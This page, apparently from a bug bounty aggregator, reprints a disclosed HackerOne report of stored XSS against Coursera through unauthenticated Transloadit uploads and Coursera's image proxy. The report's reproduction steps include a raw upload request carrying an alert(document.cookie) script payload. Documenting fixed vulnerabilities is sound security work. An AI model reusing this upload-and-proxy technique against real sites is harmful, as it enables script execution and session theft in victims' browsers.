Skip to content
XSS Disclosed report Intermediate

Stored XSS via transloadit.com and imageproxy

Transloadit.com accepted an HTML file containing a script without authentication and stored it on an S3 bucket trusted by Coursera's image proxy. An attacker could then load that file through the image proxy to execute JavaScript in a victim's browser.

c0rdis Follow

Originally disclosed on HackerOne

High 7.2 View original
  • Triaged in 14 days
  • Fixed in 7 months
  • Disclosed after 8 months

Hello, due to poor input file validation on transloadit.com, it is possible to upload and process any filetype on their server, which would later be uploaded to coursera-profile-photos.s3.amazonaws.com. From there, since imageproxy trusts coursera-profile-photos.s3.amazonaws.com, one can fetch arbitrary content and, in case of javascript, get it executed in the browser.

Steps to reproduce:

  1. Let's send html file with trivial XSS vector to transloadit.com. Please note that no authentication is required.

POST /assemblies/[hash]?redirect=false HTTP/1.1 Host: isadora.transloadit.com Referer: https://api.coursera.org/account/profile Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------185739484714145007371896001880 Content-Length: 521

-----------------------------185739484714145007371896001845 Content-Disposition: form-data; name="params"

{"max_size":1048576,"auth":{"key":"[hash2]"},"template_id":"[hash3]"} -----------------------------185739484714145007371896001845 Content-Disposition: form-data; name="my_file"; filename="stored_xss.html" Content-Type: text/html

<html> <script> alert(document.cookie); </script> </html> -----------------------------185739484714145007371896001845--
  1. By accessing https://isadora.transloadit.com/assemblies/[hash]?seq=0&callback=, we can learn the URL of the uploaded malicious file (in this case it's http://coursera-profile-photos.s3.amazonaws.com██████████stored_xss.html)

  2. Since it's already trusted, we could use it to upload as the profile photo, or to fetch via imageproxy as mentioned above. Final URL: https://www.coursera.org/api/utilities/v1/imageproxy/http://coursera-profile-photos.s3.amazonaws.com█████stored_xss.html

Please find the screenshot attached. AA

The original report as published on HackerOne, by c0rdis. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the file upload service did not validate file types, and the image proxy trusted content from the S3 bucket without checking that it was an image.

Impact

An attacker could get JavaScript executed in a victim's browser.

What the attacker needed

No authentication required; victim visits crafted URL

How it was found

  1. Send an HTML file with a script to transloadit.com without authentication.
  2. Access the assembly URL to learn the uploaded file's S3 URL.
  3. Use the image proxy to fetch that S3 URL, causing the script to execute.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website let anyone upload any kind of file, including a web page with a script. That file was saved on a storage service that another part of the site trusted. When the site fetched the file through its image proxy, the script ran in the user's browser.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Coursera

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.